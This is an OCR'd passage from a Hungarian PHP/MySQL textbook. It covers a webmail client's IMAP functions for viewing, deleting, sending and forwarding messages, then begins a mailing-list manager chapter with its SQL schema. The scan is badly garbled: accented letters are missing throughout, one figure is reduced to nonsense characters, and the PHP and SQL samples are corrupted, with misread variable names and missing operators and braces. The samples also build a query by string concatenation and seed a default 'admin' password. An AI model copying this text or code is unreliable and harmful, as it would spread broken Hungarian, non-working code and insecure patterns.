tenknt csak egy sort r ki. A 295 brn lthatjuk, hogyan nz ki a kimenet.
A zavaran hasonl nev imap_header() fggvnnyel tbbet is megtudhatunk az e-mail fejlcekrL Jelen projektben
azonban megelgsznk az imap_headers () fggvnytl kapott adatokkal is.

Levlzenet olvassa
Az elbb hasznlt lista_megj elenitese() fggvnyben minden zenethez az adott e-mailre mutat hivatkozst llrunk

be. Mindegyik ilyen hivatkozs a kvetkezkppen nz ki:


index.php?action=uzenet-megtekintese&uzenetiD=6

Az u zenetiD a korbban visszakapott fejlcekben hasznlt sorszm. rdemes megjegyezni, hogy az !MAP zenetek
szmozsa l-gye!, nem pedig O-val kezddik. Ha a felhasznl ezen hivatkozsok valamelyikre kattint, a 29.6 brn lthat
kimenetet ltja bngszjben.

29

470

29.fezet

1oo-. .._ ool. n -.


tu ...,.-U9 otln. --.ll.u
....
u
. tal.l.U, =-u. ...
-- ... .,.._ - ..U
-- ....
,,_
...
-u- qUO w.- n .,.nu.........u.....
-_""P<-. ...,_J... -l ..,n.,..- 111- -n.;,.......,.,
- .." -...._. u. ..-u 04-o -- "u.otu- --'
...u.1--. __ ...,,...,_.,...,.,__.-n --
Pu>a Ut - -=.o ..,.._" r.._. hU ,._.._ - U_
... ,_".., -.-. ,."_..., - un......u u.,.
...
-..- .

.... __....,-... ..- .U.- uuo """'-

29

29.6 bra: Az uzenet-megtekintese mvelet egy konkrt zenetetfog megjelenteni.

Amikor tadjuk ezeket a paramtereket az index. php fjlnak, a kvetkez kdot hajtjuk vgre:
case 'fejlecek-megjelenitese':
case

'fejlecek-elrejtese':

case 'uzenet-megtekintese':

ll ha kivlasztottunk a listbl egy zenetet,

vagy egy zenetet nznk,

ll a fejlcek elrejtse vagy megjelenitse lehetsget vlasztjuk,


ll akkor tltsk be az zenetet!
$teljesfejlecek = ($muvelet == 'fejlecek-megjelenitese');
uzenet_megjelenitese($_SESSION['hitelesitett felhasznalo'],
$_SESSION['kivalasztott_fiok'],
$uzenetiD,

$teljesfejlecek);

break;

Irt ellenrizzk, hogy a $muvelet vltoz rrke a 'fej leeek-megjelenitese'-vel egyenl-e. Ebben az esetben
ez a felttel nem teljesl, s gy a $teljesfejlecek rtkt false-ra lltjuk. Rvidesen megvizsgljuk a 'fej leeek
megjelenitese' mveletet is.

A
Steljesfejlecek = ($muvelet == 'fejlecek-megjelenitese');

sort kicsit bvebben is kifejthertk volna, a kvetkez formban taln valamivel knnyebben rthet lenne:
if ($muvelet ==

'fejlecek-megjelenitese')

$teljesfejlecek
else

true;

Steljesfejlecek = false;

Ezt kveten az uzenet megjelenitese() fggvnyt hvjuk meg. A fggvny kimenete nagyrszt HTML, ezrt most
nem is foglalkozunk vele. Az uzenet_visszakeresese() fggvnyt hvja meg, hogy a postafik megfelel zenett kapjuk
meg:
Suzenet = uzenet_visszakeresese($hitelesitett_felhasznalo,

$fiok_azonosito,

$uzenetiD,

$teljesfejlecek);

A levelezo_ fuggvenyek. php knyvtrban tallhat uzenet_ visszakeresese () fggvny kdjt a 29.10 plda
kd tartalmazza.
29.10 pldakd: A levelezo _fuggvenyek. php knyvtr uzenet_ visszakeresese ()fggvnye- A postafikbl egy

adott zenetet visszakeresfggvny


function uzenet_visszakeresese($hitelesitett_felhasznalo,
Steljesfejlecek)
Suzenet = array();

Sfiok_azonosito,

SuzenetiD,

Webalap levelezszolgltats ltrehozsa

if(! ($hitelesitett_felhasznalo

&&

$uzenetiD

&&

471

$fiok_azonosito))

return false;
Sirnap

postafiok_megnyitasa ($hitelesitett_felhasznalo,

if (! $imap)

$fiok_azonosito);

return false;
$fejlec = imap header($imap,
if(!$fejlec)

$uzenetiD);

29

return false;

$uzenet['tartalom']

imap_body($imap,

if(!$uzenet['tartalom' l)
$uzenet['tartalom']
if($teljesfejlecek)

= "[Az zenet res]\n\n\n\n\n\n";

{
imap_fetchheader($imap,

$uzenet['teljesfejlec']
else

$uzenetiD);

$uzenetiD);

{
'

$uzenet['teljesfejlec']

$uzenet['targy']

$uzenet['valasz eim']

$fejlec->felado_cime;

= $fejlec->valasz_clm;

$uzenet['masolatot_kap_cime']
=

.
'

$fejlec->targy;

$uzenet['felado_cime']

$uzenet['datum']

'

$fejlec->masolatot_kap_cime;

$fejlec->datum;

ll A felado s a cimzett hasznlatval ugyan rszletesebb informcit


ll kaphatnnk,

a felado cime s valasz eim adatokat azonban knnyebb felhasznlni

imap_close($imap);
return $uzenet;

Megint csak a postafiok_megnyitasa () fggvnnyel nyitjuk meg a felhasznl postafikjt,most azonban egy konkrt
zenet utn vagyunk.A fggvnyknyvtr segtsgvel kln-kln tltjk le az zenet fejlct s tartalmr.
Az itt hasznlt hrom IMAP fggvny az imap_header (),az imap_fetchheader() s az imap_body ().Figyeljk
meg. hogy az els kett,fejlcekkel kapcsolatos fggvny eltr a korbban hasznlt imap_headers () fggvnytl! Elnevez
seik kiss zavarak lehetnek,ezrt most sszefoglaljuk s sszehasonltjuk mkdsket:
imap_headers () - Egy adott postafikban lv sszes zenet fejlcnek sszefoglalst adja vissza.A fggvny ltal

visszaadott tmb minden eleme egy-egy zenethez tartozik.


imap_header() -Objektum formjban adja vissza egy adott zenet fejlct.
imap_ tetehheader () - Karakterlnc formjban adja vissza egy adott zenet fejlct.

Ebben az esetben az imap_header () fggvnnyel krnk le meghatrozott fejlcmezket,ha pedig a felhasznl a teljes
fejlcet kri,az imap_ fetchheader() fggvnnyel jelentjk meg azt szmra. (Erre a tmra a ksbbiekben mg visszat
rnk.)
Az imap_header() s imap_body () fggvnnyel az egyes zenetek bennnket rdekl elemeit tartalmaz tmbt ho
zunk ltre. Az imap_header () fggvnyt a kvetkezkppen hvjuk meg:
$fejlec = imap_header($imap,

$uzenetiD);

Ezt kveten a kvnt mezket kinyerjk ebbl az objektumbl:


$uzenet['targy']

= $fejlec->tar0y;

Az imap_body() fggvny meghvsval a kvetkezkppen adjuk a tmbhz az zenet tartalmr:

472

29. fejezet

$uzenet['tartalom'] = imap_body($imap,

$uzenetiD);

Vgl az imap_close () fggvnnyel bezrjuk a postafikot, majd visszaadjuk a ltrehozott tmbt az index. php kd
nak. Ezt kveten az uzenet_megjelenitese ( ) fggvny a 29.6 brn lthat formban megjelenti az zenet mezit.

zenetfejlcek megjelentse
A 29.6 brn lthat, hogy az zenet felett a.,Fejlcek megjelentse" gombra kattintharunk. Ezzel a fej leeekmegjelenitese esemnyt aktivljuk, ami az zenettel egytt annak teljes fejlct megjelenti. Amikor a felhasznl a gomb

29

ra kattint, a 29.7 brn lthathoz hasonl kimenet jelenik meg bngszjben.

mvelettel az adott zenet teljes fejlce megjelenthet,


ami segthet a felhasznlnak visszakvetni a levlszemt forrst.

29.7 bra: A fejleeek-megjelenitese

Ahogy azt mr bizonyra szrevettk, az uzenet-megtekintese esemnykezelje a fej leeek-megj elen itese
esemnyt (illetve annak prjt, a fejleeek-elrejtese-t) is lefedi. Ha az els bellts van kivlasztva, ugyangy jrunk el,
mint korbban, de az uzenet_visszakeresese ( ) fggvnyben a fejlcek teljes szvegt fogjuk meg:
if($teljesfejlecek)

$uzenet['tel]esfejlec']

imap fetchheader($imap,

$uzenetiD);

Ezt kveten megjelentjk a felhasznlnak a fejlcet.

zenet trlse
Ha a felhasznl valamelyik e-maiinl a.,Trls" gombra kattint, a 'torles' mveletet aktivlja. Ezzel az index. php albbi
kdrszlett futtatja le:
case

'torles':

uzenet torlese($ SESSION['hitelesitett felhasznalo'],


$ SESSION [ 'kivalasztott_fiok'],
//szndkosan nincs 'break'
case

$uzenetiD);

- a kvetkez esettel folytatjuk

'fiok-kivalasztasa':

case 'postafiok-megtekintese':

ll ha a postafikot vagy a postafik megtekintst vlasztjuk,


ll postafik megjelenitse
lista_megjelenitese($_SESSION['hitelesitett_felhasznalo'],
$ SESSION['kivalasztott_fiok']);
break;

A fenti sorokbl kiderl, hogy az zenetet az uzenet_torlese() fggvnnyel trljk, majd a trls utn kapott postafi
kot a korbban bemutatott mdon megjelentjk. Az uzenet_tor lese () fggvny kdjt a 29.11 pldakd mutatja.

Webalap levelezszolgltats ltrehozsa

473

29.11 pldakd: A levelezo_fuggvenyek. ph p knyvtr uzenet_torlese ()fggvnye- Afggvny egy adott zenetet
trl a postafikbl
function uzenet torlese($hitelesitett_felhasznalo,

$fiok_azonosito,

$uzenetiD)

ll egyetlen zenet trlse a szerverrl


Sirnap

postafiok_megnyitasa($hitelesitett_felhasznalo,

if($imap)

$fiok_azonosito);

imap_delete($imap,

29

$uzenetiD);

imap_expunge($imap);
imap_close($imap);
return true;

return false;

Lthat, hogy a fggvny tbbIMAP fggvnyt is hasznl. Kzlk szmunkra j az imap_delete() s az imap_
expunge

().rdemes megjegyezni, hogy az imap_delete () fggvny csak kijelli az zeneteket a trlshez. Tetszleges

szm zenetet kijellhetnk gy, majd tnylegesen az i map_expunge ()meghvsval trljk ki ket.

Levlklds
Vgre eljutottunk a levlkldsig. Ez tbbflekppen is vgbemehet a kdban: a felhasznl j zenetet r, illetve berkez le
vlre vlaszol, vagy tovbbtja azt. Nzzk, hogyan mkdnek ezek a mveletek!

j zenet kldse
A felhasznl az.,j zenet" gombra kattintva nyithat j levelet. Ezzel az 'uj-uzenet' mveletet vltja ki, ami a kvetkez
kdot futtatja :
case

'uj-uzenet':

UJ uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'),
$cimzett,

$masolatot kap,

$targy,

$tartalom);

break;

Az j zenet rlap egyszeren egy levlkldsre szolgl rlap. A 29.8 brn ltszik, hogy hogyan nz ki. Az brn valjban
egy berkezett zenetre rt vlaszt ltunk, de az rlap j levl rsa esetn is ugyanez. Rvidesen a tovbbrst s a vlaszkldst
is megvizsgljuk.

29.8 bra: Vlaszolhatunk az zenetre, vagy tovbbthatjuk valaki msnak.

474

29.fezet

Az .. zenet kldse" gombra kattintva az 'uzenet-kuldese' mveletet indtjuk meg. Ez az albbi kdot hvja meg:
case 'uzenet-kuldese':
if(uzenet kuldese($cimzett,

$masolatot kap,

echo "<p style=\"padding-bottom:

$targy,

$uzenet}}

lOOpx\">zenet elkldve.<lp>";

else
echo "<p style=\"padding-bottom:

lOOpx\">Nem sikerlt elkldeni az zenetet.<lp>";

A kd az zenetet tnylegesen elkld uzenet_kuldese (}fggvnyt hvja meg. A fggvny kdjt a 29.12 pldakd mu-

29

tatja.
29.12 pldakd: A levelezo_fuggvenyek.php

hasznl ltal begpelt zenetet


function uzenet_kuldese($cimzett,

knyvtr uzenet_kuldese (}fggvnye- Ez a fggvny kldi el a fel

$masolatot_kap,

$targy,

$uzenet}

ll e-mail kldse PHP-vel

if (1$kapcsolat=adatbazlshoz kapcsolodas(}}
return false;

$lekerdezes = "SELECT email eim

FROM felhasznalak WHERE

felhasznaloi_nev='".$_SESSION['hitelesitett

felhasznalo'] ."'";

$eredmeny = $kapcsolat->query($lekerdezes};
if

(! $eredmeny} {
return false;
else if ($eredmeny->num_rows==0}
return false;
else

$sor = $eredmeny->fetch_object(};
$egyeb = 'Felad:
1f

'.$sor->email_cim;

(! empty($masolatot kap}} {

$egyeb.="\r\nMsolatot kap:

if (mail ($cimzett,

$targy,

$masolatot_kap";

$uzenet,

$egyeb}}

return true;
else

return false;

A fenti sorokbl lthat, hogy a fggvny a mail (} fggvnnyel kld el az e-mailt. Eltte azonban kinyeri az adatbzisbl
a felhasznl e-mail cmt, hogy berja az e-mail .. Felad" mezjbe.

Vlaszklds vagy levl tovbbtsa


A .. Vlasz'; a.Vlasz mindenkinek" s a.,Tovbbts" funkci ugyangy kld zenetet, minr amikor az,
. j zenet" gombra
kattintunk. A klnbsg annyi a mkdskben, hogy mieltt a felhasznlnak megjelentenk az j zenet rlapot, egyes
mezit kitltik. Lapozzunk vissza a 29.8 brhoz! A megvlaszolni kvnt zenet tarralmt > szimblummal beljebb hztuk,
a.,Trgy" sorba pedg-az eredeti levl trgya el-bekerlt a,.Re:" szveg. A,.Tovbbts" s a ,.Vlasz mindenkinek'' mvelet
hasonlkppen kirlti a cmzett s a trgy sott, illetve megjelenti az idzett szveget.
A vlaszkldshez vagy a levl tovbbtshoz szksges kd az index.php trzsben hajtdik vgre az albbiak szerint:
case 'valasz-mindenkinek':

Webalap levelezszolgltats ltrehozsa

ll a msolatot kap sor belltsa a korbbi,


if (! $imap)

475

msolatot kap sor alapjn

$imap = postafiok_megnyitasa($ SESSION['hitelesitett felhasznalo'l,


$ SESSION['kivalasztott_fiok'l);

if($imap)
imap_header($imap,

$fejlee

if($fejlec->valasz_cim)
$ eimzett
else

$uzenetiD);

29

$fejlec->valasz_cim;

$eimzett

$fejlec->felado_cime;

$masolatot_kap = $fejlec->masolatot kap cime;


$targy =

"Re:

".$fejlec->targy;

$tartalom = idezojel_hozzaadasa(stripslashes(imap_body($imap,

$uzenetiD)));

imap_close($imap);
uj_uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'l,
$cmzett,

$masolatot_kap,

$targy,

$tartalom);

break;

case 'valasz' :

ll vlaszcmknt a levlfejlcben elkldtt cm hasznlata,


ll vagy annak hinyban a felad cme
if (! $imap)

$imap = postafiok_megnyitasa($_SESSION['hitelesitett_felhasznalo'l,
$_SESSION['kivalasztott_fiok'l);

if($imap)
$fejlec = imap_header($imap,
if($fejlec->valasz eim)
$cmzett
else

$uzenetiD);

$fejlec->valasz_cim;

$eimzett

$fejlec->felado_cime;

$targy = "Re:

".$fejlec->targy;

$tartalom = idezojel_hozzaadasa(stripslashes(imap_body($imap,

$uzenetiD)));

imap_close($imap);

uj_uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'l,
$cmzett,

$masolatot_kap,

$targy,

break;

case

'tovabbitas':

ll zenet belltsa az aktulis levl idzett tartalmaknt


if (! $imap)

$tartalom);

476

29. fejezet

$imap

postafiok _megnyit asa($_ SESSION['hi telesitett felhasznalo' l ,


$_SESSION['kivalasztott_fiok']};

if($imap}
$fejlee

imap_header($imap,

$uzenetiD};

$tartalom = idezojel hozzaadasa(stripslashes(imap_body($imap,


$targy = "Fwd:

29

$uzenetiD}}};

".$fejlec->targy;

imap close($imap};
UJ_uzenet_urlap_megJelenitese($ SESSION['hitelesitett_felhasznalo'],
$cmzett,

$masolatot_kap,

$targy,

$tartalom};

break;

Lthat, hogy az egyes mveletek a megfelel fejlcet belltva, szksg esetn formzst alkalmazva, majd az u j_u z enet_
urlap_megjelenitese(} fggvnyt meghvva hozzk ltre az rlapot.

Ezzel a webes levelezszolgltats mkdsnek ttekintst be is fejeztk.

A projekt tovbbfejlesztse
A projektet sokflekppen bvthetjk s fejleszthetjk tovbb. cletszerzs cljbl tnzhetjk a rendszeresen hasznlt leve
lezalkalmazsunkat, de az albbi funkcikkal is gazdagthatjuk az eddig elkszlt programunkat:
Knljuk fel regisztrci Iehetsgc az oldal felhasznlinak! (Erre a clra ismt hasznosthatjuk a Felhasznli hitelests
megvalstsa s szemlyre szabott tartalom megjelentse cm 27. fejezet egyes kdjait.)
Tegyk lehetv a felhasznlknak, hogy egynl tbb e-mail cmer hasznlhassanak! A legtbb felhasznl nem egy
e-mail cmmel rendelkezik -lehet nekik pldul otthoni s munkahelyi cmk. Azzal, hogy az eltrolt e-mail cmket
a felhasznalek tblbl a fiokok tblba helyezzk t, lehetv tesszk, hogy tbb cmer hasznljanak. Ehhez ter
mszetesen nhny helyen mdostani kell az alkalmazs kdjt is. Az zenet kldse rlapon pldul legrdl listbl
kell kivlasztaniuk a hasznlni kvnt cmket.
Tegyk lehetv, hogy csatolt llomnyokat tartalmaz zeneteket kldhessenek, fogadhassanak s tovbbthassanak!
Ahhoz, hogy a felhasznJk kpesek legyenek csatolt fjlokat kldeni, A fjlrendszer s a kiszolgl elrse cm 19. feje
zetben bemutatott fjlfeltlt funkcira van szksg. A mellkleteket tartalmaz zenetek kldsvel a Levelezlista-ke
zel alkalmazs fejlesztse cm 30. fejezetben foglalkozunk.
Hozzunk ltre nvjegyalbum-funkcikarl
Hozzunk ltre hlzati hrolvas funkcikat! Az NNT P kiszolglrl !MAP fggvnyekkel val olvass majdnem telje
sen megegyezik azzal, amikor postafikbl olvassuk ki annak tarralmt. A klnbsg annyi, hogy msik porrot s proto
kollt kell az imap_open(} fggvny meghvsakor meghatrozni. Az INBOX nev postafik helyett az olvasni kvnt
hrcsoportot kell megnevezni. A Webes frum fejlesztse cm 31. fejezetben szerepl mdszereket webalap hrolvas
alkalmazs ltrehozshoz is felhasznlhatjuk.

Hogyan tovbb:
A kvetkez fejezetben is levelezshez kapcsold projekten dolgozunk. Olyan alkalmazst fogunk fejleszteni, amellyel kln
bz tmj hrleveleket kldhetnk az oldalunkon feliratkoz felhasznlknak.

30
Levelezlista--kezel alkalmazs
fejlesztse
Ha w eboldalunk mr kiterjedt ltogati bzissal rendelkezik, hasznos, ha a regisztrlt felhasznlkkal hrlevelek tjn tarthat
juk a kapcsolatot. Ebben a fejezetben levelezlista kezelsre szolgl felletet fogunk fejleszteni. Lteznek olyan levelezlistk,
ahol a feliratkozottak is tudnak az adott lista tagjainak zenetet kldeni, a fejezetben ltrehozand alkalmazs azonban olyan
rendszer, amelyben csak a lista adminisztrtora kldhet zeneteket. Az alkalmazs neve Pyramid-MLM (mailing list manager,
azaz levelezlista-kezel).
Megoldsunk igen hasonl lesz a piacon megtallhat tbbi ilyen alkalmazshoz. Annak rdekben, hogy legyen elkpzel
snk arrl, min fogunk dolgozni a fejezetben, ltogassunk el az ilyen jelleg zleti megoldsokat kinl http:/ /www.topica.com
oldalra!
Alkalmazsunk lehetv teszi az adminisztrtoroknak, hogy levelezlistkat hozzanak ltre, s klnbz hrleveleket
kldjenek az egyes listkra. A fjlfelelt funkci biztostja annak lehetsgt, hogy feltltsk az offline ltrehozott hrlevelek
szveges s HTML vltozatait. Ez azt jelenti, hogy az adminisztrtorok brmilyen nekik tetsz szaftverrel megalkothaljk
a hrleveleket.
A felhasznlk az oldal brmelyik levelezlistjra feliratkozhamak, s eldnthetik, hogy szveges vagy HTML formtum
ban kvnjk-e megkapni a hrleveleket.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Fjlfeltlts tbb fjl esetn
MIME kdolse-mail mellklecek
HTML formtume-mailek
Felhasznli jelszavak emberi beavatkozs nlkli kezelse

A megolds alkotelemei
Online hrlevlszerkeszt s -kld rendszert szetetnnk fejleszteni. A rendszernek biztostania kell a lehetsget, hogy kln
bz hrleveleket hozhassunk ltre s kldhessnk a felhasznlknak, akiknek pedig fel kell tudniuk iratkozni egy vagy tbb
hrlevlre.
A megolds alkotelemei az albbi ltalnos cloknak kell, hogy megfeleljenek:
Az adminisztrtorok levelezlistkat hozharnak ltre s mdosthatjk a meglvket.

Az adminisztrtorok szveges s HTML hrleveleket kldhetnek az egyes levelezlistk sszes feliratkozott tagjnak.

A felhasznlk regisztrlhatnak az oldalon, majd belphetnek, s mdosthaljk adataikat.


A felhasznlk feliratkozhatnak az oldal brmely listjra.
A felhasznlk leiratkezhatnak azokrl a listkrl, amelyekre korbban feliratkoztak.
A felhasznlk eldnthetik, hogy HTML formtumvagy egyszer szveges hrleveleket krnek.
Biztonsgi okokbl a felhasznlk nem kldhetnek leveleket a listra, s nem lthaljk egyms e-mail cmt.
A felhasznlk s az adminisztrtorok megtekinthetik a levelezlistkrl sszegyjttt informcikat.
A felhasznlk s az adminisztrtorok megtekinthetik a korbban a listra elkldtt hrleveleket (archvum).

A projekt feladatnak ismeretben elkezdheljk megtervezni a megoldst s alkotelemeit, pldul a listk, a feliratkezottak
s az archivlt hrlevelek adatbzisnak ltrehozst; az offline ltrehozott hrlevelek feltltst; a mellkleteket tartalmaz
levelek kldst.

478

30.fezer

A levelezlistk s a feliratkozott felhasznlk adatbzisnak ltrehozsa


A projekt sorn nyomon kvetjk a rendszer minden felhasznljnak felhasznli nevr s jelszavt, illetve azoknak a levele
zlistknak a listjt, amelyekre a felhasznJk feliratkoztak. Mindezeken tlmenen el kell trolni a felhasznlknak a hrlevl
formtumra vonatkoz vlasztst is (szveges vagy HTML), hogy a megfelel verzij hrlevelet kldhessk el nekik.
Az adminisztrtor (a levelezlista kezelje) olyan klnleges felhasznl, akinek lehetsge van j levelezlistkat ltrehozni
s hrleveleket kldeni azokra.
Hasznos funkcija az ilyen rendszereknek a korbban kldtt hrlevelek archvuma. Ha a feliratkezottak nem tartjk meg
a korbban kapott hrleveleker, az archvumban akkor is kereshernek bennk.Az archvum markeringeszkznek sem utols,
mivel a potencilis feliratkozk lthatjk, hogy hogyan nznek ki a korbban elkldtt hrlevelek.
A MySQL adatbzis s a hozz szksges PHP fellet ltrehozsban semmi jdonsg nincsen, radsul nem is klnseb
ben bonyolult a dolog.

Hrlevelek feltltse

30

Olyan felletre van szksg, amellyel az adminisztrtor a korbban emltetteknek megfelelen hrlevelet kldher. Arrl viszont
mg nem beszltnk, hogy az adminisztrtor hogyan hozza ltre a hrleveleket. Kszthernnk szmra egy rlapot, ahova
begpelheri vagy bernsolhatja a hrlevl tartalmr. A rendszer felhasznlbart jellegr ersrherjk, ha lehetv tesszk az
adminisztrtor szmra, hogy az ltala preferlt szerkeszralkalmazsban hozza ltre a hrlevelet, majd az gy elkszlt f:ijlt
tltse fel a webszerverre. Ebben az esetben az adminisztrtor kpeket is egyszeren hozzadhar a HTML hrlevelekhez. Ehhez
a 19. fejezetben megismert f:ijlfelrlt funkcit fogjuk felhasznlni.
A korbbi projektekben ltott rlapoknl valamivel bonyolulrabbakkal kell most dolgoznunk. Ebben a projektben az admi
nisztrtornak a hrlevl szveges s HTML verzijt, illetve az utbbi esetn a szveg kz kerl kpeket is fel kell tltenie.
Miutn a hrlevelet feltlttte, ltre kell hozni egy olyan felletet, amelyen a klds eltt megtekintheti a hrlevl elnzett. Itt
meggyzdhet arrl, hogy minden fjl feltltse megfelel mdon trtnt.
Ne feledkezznk meg arrl sem, hogy ezeket a fjlokat el kell trolni egy archv knyvtrban, hogy a felhasznJk elolvas
hassk a korbbi hrleveleked Annak a felhasznlnak, amelyikknt webszervernk fut, rsi jogosultsgokkal kell rendelkez
nie ehhez a knyvtrhoz.A feltlt kd az . l archi ve/ knyvtrba ksrli meg berni a hrleveleket, ezrt gondoskodjunk
a knyvtr ltrehozsrl, illetve a megfelel jogosultsgok belltsrl!

Csatolt llomnyokat tartalmaz levelek kldse


Azt kvnjuk elrni, hogy a felhasznlknak egyszer szveges vagy csinos HTML formtum hrlevelet tudjunk kldeni mindenkinek olyat, arnilyet krt.
Begyazott kpeket tartalmaz HTML fjl kldshez az szksges, hogy tudjunk csatolt llomnyokat kldeni. A PHP
egyszer mai l ( ) fggvnyvel nem lehet egyszeren megoldani a csatolt fjlok kldst. rdemes helyette a PEAR igen kivl
Mai l_Mime csomagjt hasznlni, amit eredetileg Richard Heyes alkotott meg. Kpes HTML mellkleteket kezelni, s arra is

alkalmas, hogy HTML fjlban lv kpeket csatoljunk a levlhez.


A csomag teleptshez A PHP

s a MySQL teleptse cm Fggelk A PEAR teleptse cm rszben tallunk tmutatst.

A megolds ttekintse
Hasonlan a

Webalap levelezszolgltats ltrehozsa cm 29. fejezethez, ebben a projektben is esemnyvezrelt megkzeltst

kvetnk a kd megrsa sorn.


Az dindulst segrend ismt felrajzoljuk a folyamatbrkat, amelyek a felhasznJk lehetsges lpseit mutatjk a rendszer
ben. Ebben a pldban hrom brval mutatjuk be a felhasznJk ltal elrhet funkcikat s szolgltatsokat. A felhasznl
ms funkcikar rhet el az egyszer bejelentkezs eltt s a bejelentkezs utn, illetve adminisztrtorknt trtn bejelentkezs
esern. Ezeket a funkcikar a 30.1, a 30.2, illetve a 30.3 bra mutatja.
A 30.1 brn a nem bejelentkezett felhasznJk szmra elrhet lehetsgeket ltjuk. Egy ilyen felhasznl bejelentkezhet
(ha mr rendelkezik felhasznli 6.kkal), ltrehozhatja fikjt (ha az mg nem ltezik), s megtekintheti a levelezlistkat,
amelyekre a regisztrlt felhasznJk feliratkozhatnak (ez utbbi mintegy marketingeszkzknt is szolgl, kedvet csinl a re
gisztrcihoz).

Levelezlista-kezel alkalmazs fejlesztse

479

Not
logged in

30.1 bra: A nem bejelentkezett Jelhasznlk csak korltozott szm lehetsg kzl vlaszthatnak.
A 30.2 brn a bejelentkezett felhasznlk szmra elrhet funkcikat ltjuk. Megvltoztathatjk fikbelltsaikat (e-mail

cm s szemlyes belltsok), jelszavukat, illetve azt, hogy melyik listkta iratkeztak fel.

30

30.2 bra: Bejelentkezs utn tbbfle lehetsgk van belltsaik mdostsra.


A 30.3 bra az adminisztrtorknt bejelentkezett felhasznlk szmra elrhet funkcikat mutatja. Lthat, hogy az ad

minisztrtor az ltalnos Felhasznlk ltal elrhet lehetsgek mellett tovbbi funkcikhoz is hozzfr. j levelezlistkat
hozhat ltre, fjlfeltltssel j leveleket kszthet, illetve klds eltt megtekintheti azok elnzett.
Mivel az alkalmazs esemnyvezrelt megkzeltst kvet, a gerinct ismt csak egyetlen fjl, az index. php tartalmazza,
amely fggvnyknyvtrak sokasgt hvja meg.
A 30.1 tblzatban az alkalmazst alkot fjlok gyjtemnyt talljuk.

30.3 bra: Az adminisztrtorok szmra tovbbi funkcik is elrhetk.

480

30. fejezet

30.1

tblzat: A levelezlista-kezel alkalmazst alkotfjlok

Fjlnv

Tpus

Lers

index.php

Alkalmazs

A teljes alkalmazst futtat, f kd

beillesztett fuggvenyek.php

Fggvnyek

Az alkalmazsba beillesztett fjlok gyjtemnye

adat_ellenorzo fuggvenyek.php

Fggvnyek

A felhasznlk ltal bevitt adatokat ellenrz fggv


nyek gyjtemnye

adatbazis fuggvenyek.php

Fggvnyek

Az

mlm

adatbzishoz kapcsoldsra hasznlt fggv

nyek gyjtemnye

30

mlm_fuggvenyek.php

Fggvnyek

A levelezlista kezelshez kapcsold fggvnyek gyj


temnye

kimeneti_fuggvenyek.php

Fggvnyek

A HTML kimenetet elllt fggvnyek gyjtemnye

feltoltes.php

Alkotelem

Az alkalmazs fjlfeltlt komponenst kezel kd;

felhasznaloi hitelesites

Fggvnyek

A felhasznlk hitelestsre hasznlt fggvnyek gyj


temnye

SQL

Az mlm adatbzis, illetve egy ltalnos s egy admi

a biztonsg rdekben elklntettk a tbbi kdtl


fuggvenyek.php
adatbazis letrehozasa.sql

nisztrtor felhasznl ltrehozsra szolgl SQL kd

Most pedig fogjunk hozz a projekt megvalstshoz! Munknkat a feliratkozottakra s a lisrkra vonatkoz informcikat
trol adatbzis ltrehozsval kezeljk.

Az adatbzis ltrehozsa
Az alkalmazs mkdshez az albbi adatokat szksges eltrolnunk:
Listk-Levelezlistk, amelyekre a felhasznlk feliratkozhatnak
Felhasznlk - A rendszer felhasznli s az preferenciik
Aliistk-Az egyes felhasznlkhoz tartoz olyan levelezlistk, amelyekre feliratkoztak (sok a sokhoz tpus kapcsolat)
Hrlevl - Az elkldtt e-mailek rekordja
Kpek-Nyomon kell kvetni az egyes hrlevelekbe kerl szveget, HTML-t s kpeket, mert szeretnnk tbb fjlbl
ll hrleveleket is kldeni.
Az adatbzis ltrehozsra szolgl SQL kdot a 30.1 pldakdban talljuk.
30.1 pldakd: adatbaz is_letrehozasa. sql -A z

mlm adatbzist ltrehoz SQL kd

CREATE DATABASE mlm;

USE mlm;

CREATE TABLE listak

listaiD

INT AUTO INCREMENT NOT NULL PRIMARY KEY,

listanev CHAR(20)

NOT NULL,

leiras VARCHAR(255)
);

CREATE TABLE

felhasznalak

email CHAR(l00)

NOT NULL PRIMARY KEY,

valedi nev CHAR(lOO)


mime_tipus CHAR(l)
jelsza CHAR(40)

NOT NULL,

NOT NULL,

NOT NULL,

admin TINYINT NOT NULL

Levelezlista-kezel alkalmazs fejlesztse

481

);

t a felhasznlk s a listk kztti kapcsolatot trol tbla


CREATE TABLE al listak

email CHAR(l00) NOT NULL,


listaiD INT NOT NULL

CREATE TABLE

hirlevel

hirleveliO INT AUTO_INCREMENT NOT NULL PRIMARY KEY,


email CHAR(lOO) NOT NULL,
targy CHAR(l00) NOT NULL,

30

listaiD INT NOT NULL,


allapot CHAR(lO) NOT NULL,
kuldve DATETIME,
modositva TIMESTAMP

#az adott hrlevlbe kerl kpeket trol tbla


CREATE TABLE kpek

hirleveliO INT NOT NULL,


eleresi_utvonal CHAR(l00) NOT NULL,
mime_tipus CHAR(l00) NOT NULL
);

GRANT SELECT,

INSERT,

UPDATE,

DELETE

ON mlm.*
TO mlm@localhost

INSERT INTO

IDENTIFIED BY 'jelszo';

felhasznalak VALUES

('admin@localhost',

INSERT INTO

'Adminisztrtori

felhasznal',

'H',

shal('admin'),

l);

felhasznalak VALUES

('laura_xt@optusnet. com. au',

'Adminisztrtori felhasznl',

'H',

shal('admin'),

l);

Emlkezhetnk r, hogy a kvetkezket begpelve hajthatjuk vgre ezt a kdot:


mysql -u root

-p

<

adatbazis_letrehozasa.sql

Meg kell adnunk root felhasznli jelszavunkat. (A kdot termszetesen a megfelel jogosultsgokkal rendelkez brmely
MySQL-felhasznlval futtathatjuk, csak az egyszersg kedvrt vlasztottuk a rootot.) A kd futtatsa eltt vltoztassuk
meg benne az

mlm

felhasznl s az adminisztrtor jelszavt.

Az adatbzis egyes mezi tovbbi magyarhatot ignyelnek, fussuk t rviden ezeket! A listak tbla a listaiD s
a listanev mezket tartalmazza. Itt tallhat tovbb a leiras mez, amely az egyes listkat bemutat, rvid szvegeket trolja.
A
a

felhasznalak

jelszo-t,

tbla a felhasznlk e-mail cmt

( email) s nevt ( valodi_nev ) tartalmazza. Trolja tovbb


(admin) . A mime_tipus mezben rgztjk, hogy az egyes

illetve jelzi, hogy a felhasznl adminisztrtor-e

felhasznlk milyen pus hrlevelet kvnnak kapni. A HTML-t a H, a szveges verzit pedig a T jelzi.
Az

al_listak

